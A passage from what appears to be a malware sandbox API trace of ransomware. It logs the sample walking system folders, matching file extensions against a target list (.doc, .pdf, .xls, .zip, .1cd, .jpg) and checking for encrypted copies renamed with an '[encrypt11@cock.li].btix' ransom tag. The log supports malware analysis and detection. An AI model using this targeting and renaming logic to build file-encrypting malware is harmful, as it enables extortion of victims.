returned -1 [0060.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0060.610] lstrlenW (lpString=".jpg") returned 4 [0060.610] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.611] lstrcmpiW (lpString1=".tlb", lpString2=".btix") returned 1 [0060.611] lstrlenW (lpString="msado21.tlb") returned 11 [0060.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0060.613] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=53760) returned 1 [0060.613] CloseHandle (hObject=0x368) returned 1 [0060.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20 [0060.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0060.613] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0060.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0060.614] lstrlenW (lpString=".doc") returned 4 [0060.614] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0060.614] lstrlenW (lpString=".docx") returned 5 [0060.614] lstrcmpiW (lpString1=".docx", lpString2="1.tlb") returned -1 [0060.614] lstrlenW (lpString=".pdf") returned 4 [0060.614] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0060.614] lstrlenW (lpString=".xls") returned 4 [0060.614] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0060.614] lstrlenW (lpString=".xlsx") returned 5 [0060.614] lstrcmpiW (lpString1=".xlsx", lpString2="1.tlb") returned -1 [0060.614] lstrlenW (lpString=".ppt") returned 4 [0060.614] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0060.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0060.614] lstrlenW (lpString=".zip") returned 4 [0060.614] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0060.614] lstrlenW (lpString=".rar") returned 4 [0060.614] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0060.614] lstrlenW (lpString=".bz2") returned 4 [0060.614] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0060.614] lstrlenW (lpString=".7z") returned 3 [0060.614] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0060.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0060.614] lstrlenW (lpString=".dbf") returned 4 [0060.614] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0060.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0060.614] lstrlenW (lpString=".1cd") returned 4 [0060.614] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0060.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0060.614] lstrlenW (lpString=".jpg") returned 4 [0060.614] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0060.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0060.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0060.615] lstrlenW (lpString=".doc") returned 4 [0060.615] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0060.615] lstrlenW (lpString=".docx") returned 5 [0060.615] lstrcmpiW (lpString1=".docx", lpString2="1.tlb") returned -1 [0060.615] lstrlenW (lpString=".pdf") returned 4 [0060.615] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0060.615] lstrlenW (lpString=".xls") returned 4 [0060.615] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0060.615] lstrlenW (lpString=".xlsx") returned 5 [0060.615] lstrcmpiW (lpString1=".xlsx", lpString2="1.tlb") returned -1 [0060.615] lstrlenW (lpString=".ppt") returned 4 [0060.615] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0060.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0060.615] lstrlenW (lpString=".zip") returned 4 [0060.615] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0060.615] lstrlenW (lpString=".rar") returned 4 [0060.615] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0060.615] lstrlenW (lpString=".bz2") returned 4 [0060.615] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0060.615] lstrlenW (lpString=".7z") returned 3 [0060.615] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0060.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0060.615] lstrlenW (lpString=".dbf") returned 4 [0060.615] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0060.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0060.615] lstrlenW (lpString=".1cd") returned 4 [0060.615] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0060.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0060.615] lstrlenW (lpString=".jpg") returned 4 [0060.615] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0060.616] lstrcmpiW (lpString1=".tlb", lpString2=".btix") returned 1 [0060.616] lstrlenW (lpString="msado26.tlb") returned 11 [0060.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0060.952] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=70656) returned 1 [0060.952] CloseHandle (hObject=0x398) returned 1 [0060.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20 [0060.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0060.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0064.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0064.124] lstrlenW (lpString=".doc") returned 4 [0064.124] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0064.124] lstrlenW (lpString=".docx") returned 5 [0064.124] lstrcmpiW (lpString1=".docx", lpString2="6.tlb") returned -1 [0064.124] lstrlenW (lpString=".pdf") returned 4 [0064.124] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0064.124] lstrlenW (lpString=".xls") returned 4 [0064.124] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0064.124] lstrlenW (lpString=".xlsx") returned 5 [0064.124] lstrcmpiW (lpString1=".xlsx", lpString2="6.tlb") returned -1 [0064.124] lstrlenW (lpString=".ppt") returned 4 [0064.124] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0064.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0064.124] lstrlenW (lpString=".zip") returned 4 [0064.124] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0064.124] lstrlenW (lpString=".rar") returned 4 [0064.124] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0064.124] lstrlenW (lpString=".bz2") returned 4 [0064.125] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0064.125] lstrlenW (lpString=".7z") returned 3 [0064.125] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0064.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0064.125] lstrlenW (lpString=".dbf") returned 4 [0064.125] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0064.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0064.125] lstrlenW (lpString=".1cd") returned 4 [0064.125] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0064.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0064.125] lstrlenW (lpString=".jpg") returned 4 [0064.125] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0064.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0064.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0064.125] lstrlenW (lpString=".doc") returned 4 [0064.125] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0064.125] lstrlenW (lpString=".docx") returned 5 [0064.125] lstrcmpiW (lpString1=".docx", lpString2="6.tlb") returned -1 [0064.125] lstrlenW (lpString=".pdf") returned 4 [0064.125] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0064.125] lstrlenW (lpString=".xls") returned 4 [0064.125] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0064.125] lstrlenW (lpString=".xlsx") returned 5 [0064.125] lstrcmpiW (lpString1=".xlsx", lpString2="6.tlb") returned -1 [0064.125] lstrlenW (lpString=".ppt") returned 4 [0064.125] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0064.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0064.125] lstrlenW (lpString=".zip") returned 4 [0064.125] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0064.125] lstrlenW (lpString=".rar") returned 4 [0064.126] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0064.126] lstrlenW (lpString=".bz2") returned 4 [0064.126] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0064.126] lstrlenW (lpString=".7z") returned 3 [0064.126] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0064.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0064.126] lstrlenW (lpString=".dbf") returned 4 [0064.126] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0064.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0064.126] lstrlenW (lpString=".1cd") returned 4 [0064.126] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0064.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0064.126] lstrlenW (lpString=".jpg") returned 4 [0064.126] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0064.126] lstrcmpiW (lpString1=".tlb", lpString2=".btix") returned 1 [0064.126] lstrlenW (lpString="msadomd28.tlb") returned 13 [0064.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0065.362] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=13824) returned 1 [0065.362] CloseHandle (hObject=0x368) returned 1 [0065.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb")) returned 0x20 [0065.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0065.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0065.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0065.362] lstrlenW (lpString=".doc") returned 4 [0065.362] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0065.362] lstrlenW (lpString=".docx") returned 5 [0065.362] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1 [0065.362] lstrlenW (lpString=".pdf") returned 4 [0065.363] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0065.363] lstrlenW (lpString=".xls") returned 4 [0065.363] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0065.363] lstrlenW (lpString=".xlsx") returned 5 [0065.363] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1 [0065.363] lstrlenW (lpString=".ppt") returned 4 [0065.363] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0065.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0065.363] lstrlenW (lpString=".zip") returned 4 [0065.363] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0065.363] lstrlenW (lpString=".rar") returned 4 [0065.363] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0065.363] lstrlenW (lpString=".bz2") returned 4 [0065.363] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0065.363] lstrlenW (lpString=".7z") returned 3 [0065.363] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0065.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0065.363] lstrlenW (lpString=".dbf") returned 4 [0065.363] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0065.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0065.363] lstrlenW (lpString=".1cd") returned 4 [0065.363] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0065.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0065.363] lstrlenW (lpString=".jpg") returned 4 [0065.363] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0065.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0065.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0065.364] lstrlenW (lpString=".doc") returned 4 [0065.364] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0065.364] lstrlenW (lpString=".docx") returned 5 [0065.364] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1 [0065.364] lstrlenW (lpString=".pdf") returned 4 [0065.364] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0065.364] lstrlenW (lpString=".xls") returned 4 [0065.364] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0065.364] lstrlenW (lpString=".xlsx") returned 5 [0065.364] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1 [0065.364] lstrlenW (lpString=".ppt") returned 4 [0065.364] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0065.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0065.364] lstrlenW (lpString=".zip") returned 4 [0065.364] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0065.364] lstrlenW (lpString=".rar") returned 4 [0065.364] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0065.364] lstrlenW (lpString=".bz2") returned 4 [0065.364] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0065.364] lstrlenW (lpString=".7z") returned 3 [0065.364] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0065.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0065.364] lstrlenW (lpString=".dbf") returned 4 [0065.364] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0065.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0065.365] lstrlenW (lpString=".1cd") returned 4 [0065.365] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0065.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0065.365] lstrlenW (lpString=".jpg") returned 4 [0065.365] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0065.365] lstrcmpiW (lpString1=".tlb", lpString2=".btix") returned 1 [0065.365] lstrlenW (lpString="msadox28.tlb") returned 12 [0065.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0065.667] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=24576) returned 1 [0065.667] CloseHandle (hObject=0x368) returned 1 [0065.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb")) returned 0x20 [0065.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0065.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0065.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0065.668] lstrlenW (lpString=".doc") returned 4 [0065.668] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0065.668] lstrlenW (lpString=".docx") returned 5 [0065.668] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1 [0065.668] lstrlenW (lpString=".pdf") returned 4 [0065.668] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0065.668] lstrlenW (lpString=".xls") returned 4 [0065.668] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0065.668] lstrlenW (lpString=".xlsx") returned 5 [0065.668] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1 [0065.668] lstrlenW (lpString=".ppt") returned 4 [0065.668] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0065.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0065.668] lstrlenW (lpString=".zip") returned 4 [0065.668] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0065.668] lstrlenW (lpString=".rar") returned 4 [0065.668] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0065.668] lstrlenW (lpString=".bz2") returned 4 [0065.668] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0065.668] lstrlenW (lpString=".7z") returned 3 [0065.668] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0065.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0065.668] lstrlenW (lpString=".dbf") returned 4 [0065.668] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0065.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0065.668] lstrlenW (lpString=".1cd") returned 4 [0065.668] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0065.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0065.668] lstrlenW (lpString=".jpg") returned 4 [0065.668] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0065.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0065.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0065.669] lstrlenW (lpString=".doc") returned 4 [0065.669] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0065.669] lstrlenW (lpString=".docx") returned 5 [0065.669] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1 [0065.669] lstrlenW (lpString=".pdf") returned 4 [0065.669] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0065.669] lstrlenW (lpString=".xls") returned 4 [0065.669] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0065.669] lstrlenW (lpString=".xlsx") returned 5 [0065.669] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1 [0065.669] lstrlenW (lpString=".ppt") returned 4 [0065.669] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0065.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0065.669] lstrlenW (lpString=".zip") returned 4 [0065.669] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0065.669] lstrlenW (lpString=".rar") returned 4 [0065.669] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0065.669] lstrlenW (lpString=".bz2") returned 4 [0065.669] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0065.672] lstrlenW (lpString=".7z") returned 3 [0065.672] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0065.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0065.672] lstrlenW (lpString=".dbf") returned 4 [0065.672] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0065.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0065.672] lstrlenW (lpString=".1cd") returned 4 [0065.672] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0065.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0065.672] lstrlenW (lpString=".jpg") returned 4 [0065.672] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0065.673] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0065.673] lstrlenW (lpString="wab32res.dll.mui") returned 16 [0065.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0066.334] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=94208) returned 1 [0066.334] CloseHandle (hObject=0x320) returned 1 [0066.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui")) returned 0x20 [0066.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0066.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0066.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0066.335] lstrlenW (lpString=".doc") returned 4 [0066.335] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0066.335] lstrlenW (lpString=".docx") returned 5 [0066.335] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0066.335] lstrlenW (lpString=".pdf") returned 4 [0066.335] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0066.335] lstrlenW (lpString=".xls") returned 4 [0066.335] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0066.335] lstrlenW (lpString=".xlsx") returned 5 [0066.335] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0066.335] lstrlenW (lpString=".ppt") returned 4 [0066.335] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0066.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0066.335] lstrlenW (lpString=".zip") returned 4 [0066.335] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0066.335] lstrlenW (lpString=".rar") returned 4 [0066.335] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0066.335] lstrlenW (lpString=".bz2") returned 4 [0066.335] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0066.335] lstrlenW (lpString=".7z") returned 3 [0066.335] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0066.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0066.335] lstrlenW (lpString=".dbf") returned 4 [0066.335] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0066.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0066.335] lstrlenW (lpString=".1cd") returned 4 [0066.335] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0066.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0066.335] lstrlenW (lpString=".jpg") returned 4 [0066.336] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0066.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0066.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0066.336] lstrlenW (lpString=".doc") returned 4 [0066.336] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0066.336] lstrlenW (lpString=".docx") returned 5 [0066.336] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0066.336] lstrlenW (lpString=".pdf") returned 4 [0066.336] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0066.336] lstrlenW (lpString=".xls") returned 4 [0066.336] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0066.336] lstrlenW 